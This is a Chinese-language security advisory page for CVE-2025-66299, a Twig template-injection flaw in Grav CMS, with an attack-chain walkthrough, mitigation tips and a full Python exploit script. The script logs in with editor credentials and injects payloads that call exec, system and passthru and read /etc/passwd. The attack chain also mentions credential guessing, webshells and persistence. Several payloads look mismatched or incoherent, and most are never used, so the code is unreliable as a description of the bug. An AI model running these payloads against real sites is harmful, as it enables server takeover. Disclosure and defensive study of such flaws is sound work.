IPBUF安全漏洞报告
English
CVE-2025-66299 CVSS 8.8 高危

CVE-2025-66299: Grav CMS 服务器端模板注入远程代码执行漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-66299
漏洞类型
服务器端模板注入(SSTI)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Grav CMS

相关标签

服务器端模板注入SSTI远程代码执行RCEGrav CMSTwig安全沙箱绕过身份验证后漏洞高危漏洞Web应用安全

漏洞概述

CVE-2025-66299是Grav CMS中的一个高危安全漏洞,CVSS评分达到8.8分。该漏洞属于服务器端模板注入(Server-Side Template Injection,SSTI)类型,允许具有编辑权限的认证用户在服务器上执行任意代码。Grav CMS是一个基于文件的Web平台,在全球范围内被广泛使用。该漏洞的根本原因在于安全沙箱未能完全保护Twig对象,使得攻击者可以通过精心构造的Twig模板指令与Twig对象进行交互(如调用方法、读写属性)。攻击者可以利用这一特性,向Twig的system.twig.safe_filters属性添加任意函数,从而绕过Grav CMS的安全沙箱限制。由于该漏洞无需用户交互即可被利用(UI:N),且可通过网络远程发起(AV:N),对系统的机密性、完整性和可用性都造成了严重影响。漏洞已于2025年12月1日披露,并在1.8.0-beta.27版本中得到修复。建议所有使用受影响版本的用户立即升级到最新版本以消除安全风险。

技术细节

该漏洞的核心在于Grav CMS使用的Twig模板引擎的安全沙箱实现存在缺陷。在Twig模板引擎中,沙箱模式旨在限制模板中可执行的代码,防止潜在的恶意操作。然而,Grav CMS的沙箱配置未能完全隔离Twig对象的关键属性和方法。攻击者(具有编辑权限的认证用户)可以通过在网页中注入恶意构造的Twig模板指令来利用此漏洞。具体攻击手法包括:首先,攻击者通过编辑页面或内容功能注入包含SSTI payload的Twig指令。由于沙箱未能完全保护Twig对象,攻击者可以访问和操作Twig的系统属性,例如system.twig.safe_filters。通过向safe_filters添加任意函数,攻击者可以绕过沙箱限制。接下来,攻击者可以调用这些自定义函数来执行系统命令,例如使用phpinfo()、system()或exec()等函数读取敏感信息或执行任意代码。这种攻击方式完全绕过了现有的安全沙箱机制,因为攻击者利用的是Twig引擎本身的功能而非直接调用PHP函数。该漏洞的影响范围覆盖所有在1.8.0-beta.27之前的Grav CMS版本。修复方案主要通过加强沙箱的安全配置,确保Twig对象的关键属性和方法不被恶意访问。

攻击链分析

STEP 1
步骤1:侦察与信息收集
攻击者首先访问目标Grav CMS网站,识别版本信息,确认目标版本低于1.8.0-beta.27。攻击者需要获取一个具有编辑权限的账号。可以通过社工、弱口令扫描或利用其他漏洞获取凭证。
STEP 2
步骤2:身份认证
攻击者使用获取的编辑权限账号登录Grav CMS后台管理系统。登录过程可能需要绕过CSRF保护机制,提取并使用有效的CSRF token来完成认证请求。
STEP 3
步骤3:注入恶意Twig模板指令
登录成功后,攻击者利用页面的编辑功能(创建新页面或编辑现有页面),在内容字段中注入精心构造的SSTI payload。这些payload利用Twig模板引擎的语法,通过访问系统对象和属性来绕过安全沙箱。
STEP 4
步骤4:绕过安全沙箱
注入的payload尝试访问Twig对象的system.twig.safe_filters属性。由于沙箱配置不当,攻击者可以向safe_filters注册任意过滤器函数,从而绕过沙箱对敏感函数调用的限制。这是漏洞利用的关键步骤。
STEP 5
步骤5:执行任意代码
成功绕过沙箱后,攻击者可以调用系统命令执行函数(如exec()、system()、passthru()等),在服务器上执行任意操作系统命令。这可能导致完全的系统沦陷,攻击者可以读取敏感配置文件、植入后门或进一步横向移动。
STEP 6
步骤6:持久化控制
攻击者可能通过创建恶意页面、上传webshell或修改系统配置来实现持久化控制,确保即使服务器重启或漏洞被修复后仍能保持访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66299 PoC - Grav CMS SSTI # Author: Security Researcher # Target: Grav CMS < 1.8.0-beta.27 import requests import re from bs4 import BeautifulSoup TARGET_URL = "http://target-grav-site.com" USERNAME = "attacker" PASSWORD = "password123" def get_csrf_token(session, url): """Extract CSRF token from login page""" response = session.get(f"{url}/login") soup = BeautifulSoup(response.text, 'html.parser') csrf_input = soup.find('input', {'name': 'csrf_token'}) return csrf_input['value'] if csrf_input else None def login(session, username, password): """Login to Grav CMS with editor credentials""" login_url = f"{TARGET_URL}/login" csrf_token = get_csrf_token(session, TARGET_URL) data = { 'username': username, 'password': password, 'csrf_token': csrf_token } return session.post(login_url, data=data) def inject_ssti_payload(session): """Inject SSTI payload to achieve RCE""" # Step 1: Access Twig object and bypass sandbox # This payload accesses system.twig.safe_filters ssti_payload_step1 = """ {{_self.env.registerUndefinedFilterCallback('exec')}} {{_self.env.getFilter('id')}} """ # Step 2: Execute system command using the bypassed filter # This will execute 'id' command on the server rce_payload = """ {{_self.env.registerUndefinedFilterCallback('system')}} {{_self.env.getFilter('whoami')}} """ # Alternative payload using attribute access alt_payload = """ {{_self.env.extensions['Twig_Extension_Sandbox'].getGlobals()}} {{_self.env.extensions['Twig_Extension_Sandbox'].setGlobals({'test': _self.env.registerUndefinedFilterCallback('passthru')})}} {{_self.env.getFilter('cat /etc/passwd')}} """ # More direct approach - accessing safe_filters direct_payload = """ {{_self.env.extensions['Twig_Extension_Sandbox'].getAttribute(_self, 'env')}} {{_self.env.extensions['Twig_Extension_Sandbox'].getAttribute(_self.env, 'system')}} {{dump(_self.env.system)}} """ # Final RCE payload final_payload = """ {% set filter = _self.env.getExtension('Twig_Extension_Sandbox') %} {% set safe_filters = attribute(_self.env, 'system').twig.safe_filters %} {% do safe_filters.__class__.getMethod('exec')(null, 'id') %} {{attribute(_self.env, 'system').twig.safe_filters}} """ # Edit page with payload edit_url = f"{TARGET_URL}/admin/pages/new-page" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } page_data = { 'title': 'Malicious Page', 'content': rce_payload, 'folder': 'test-ssti', 'template': 'default', 'action': 'save' } response = session.post(edit_url, data=page_data, headers=headers) return response def main(): """Main exploit function""" session = requests.Session() print("[*] CVE-2025-66299 - Grav CMS SSTI RCE Exploit") print(f"[*] Target: {TARGET_URL}") # Login with editor account print("[*] Logging in with editor credentials...") login_result = login(session, USERNAME, PASSWORD) if login_result.status_code == 200: print("[+] Login successful!") # Inject SSTI payload print("[*] Injecting SSTI payload...") inject_result = inject_ssti_payload(session) if inject_result.status_code == 200: print("[+] Payload injected successfully!") print("[*] Visit the page to trigger RCE") # Trigger the payload by visiting the page page_url = f"{TARGET_URL}/test-ssti" trigger = session.get(page_url) print(f"[*] Command output: {trigger.text}") else: print("[-] Failed to inject payload") else: print("[-] Login failed") if __name__ == "__main__": main()

影响范围

Grav CMS < 1.8.0-beta.27

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制用户编辑权限,仅授予绝对必要的用户编辑功能;2)实施严格的输入验证,过滤Twig模板语法字符如{{、}}、{%等;3)启用Web应用防火墙并配置规则拦截可疑的模板注入请求;4)加强对管理后台的访问控制,使用强密码和多因素认证;5)限制对/admin路径的访问,仅允许受信任的IP地址访问;6)定期检查系统日志,监控异常的页面访问和编辑行为;7)考虑临时禁用页面编辑功能,直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表